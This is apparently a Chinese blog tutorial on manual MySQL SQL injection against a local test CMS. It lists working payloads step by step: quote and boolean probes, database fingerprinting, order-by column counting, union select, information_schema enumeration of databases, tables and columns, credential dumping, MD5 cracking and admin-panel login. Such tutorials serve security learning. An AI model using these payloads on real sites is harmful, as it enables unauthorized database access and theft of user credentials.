atom与mysql,MySQL数据库手工注入

1、测试环境:Firefox浏览器,hackbar工具

2、测试站点:http://127.0.0.1/cms/

f10c15e4ba7d4e8d30df063b39a5e242.png

3、注入点:http://127.0.0.1/cms/show.php?id=33

(1)正常访问页面

3418b5fcde378d143f53b153adb6f572.png

(2)输入英文单引号 ‘

a3330ebfa2981bffa6fa54a96179663a.png

从报错显示中知道目标站是MySQL数据库

(3)输入 and 1=1,返回正常

1673df1cfb2a94109eeff4a800819669.png

(4)输入 and 1=2,返回错误

2d9d9f1623a8c074b7e6c54d6e6690b4.png

4、判断数据库类型

根据出错信息可以判断出是MySQL数据库,也可以用命令测试实现

Access:

and (select id from MSysAccessObjects) >0 返回正常说明是access

MSSQL:

and (select id from sysobjects) >0 返回正常说明是mssql

MySQL:

and length(user())>0    返回正常说明是MySQL

1a8d5e55626a1ed1d1d9305904460a86.png

5、爆字段长度

使用命令 order by num,采用二分查找法,迅速找出num的值

1452988b22fce9e560eae81cc83efc82.png

e1045d7009fc832633a001989017f083.png

输入15返回正常,输入16返回错误,说明就有15个长度

6、匹配字符,命令 and 1=2 union select 1,2,3,4,,,,,n

然后根据返回数据位置构造下一步需要查询的信息命令

b479225c1bf8f199dead683ae12e802e.png

7、爆数据库、系统等基本信息

在显示数字3和11处输入命令查找信息,常用内置查询函数有

select system_user()  查看系统用户

select current_user()  查询当前用户

select user()  查询用户

SELECT version()  查询数据库版本

SELECT database()  查询当前连接的数据库

select @@version_compile_os 查询当前操作系统

select @@datadir    查询读取数据库路径

select @@basedir    查询MYSQL安装路径

beb95b2d2e654756cccbccc3939caac0.png

8、爆数据库名

select schema_name from information_schema.schemata

3183b354c87d583a35c516d22eb69903.png

9、爆数据表名

select table_name from information_schema.tables where table_schema=0x数据库名

数据库名需要转换成十六进制

40020753c9ff8a9ba37bddd1e902e61a.png

10、爆列

select column_name from information_schema.columns where table_name=0x数据表名

数据表名需要转换成十六进制

6ec383ca8ccc97fd89c597641ec7152b.png

11、爆字段

select 列1,列2,列3… from 数据表名

21a7fb621f1bd9f1ad5bd6df34b3434f.png

12、md5解密

根据找到的用户名和密码去cmd5解密

b76d19ee1aa6314b3ed8f6a1bc5e8b63.png

13、找后台

首先在页面中看有没有现成的后台链接,如果没有,可以尝试输入如 /admin , /manager等常用后台地址,或使用后台扫描工具

58984df714499c88e3c2825c9bcf8715.png

14、登录

c0f70785792f8b8468e2ca5ed1cd839d.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值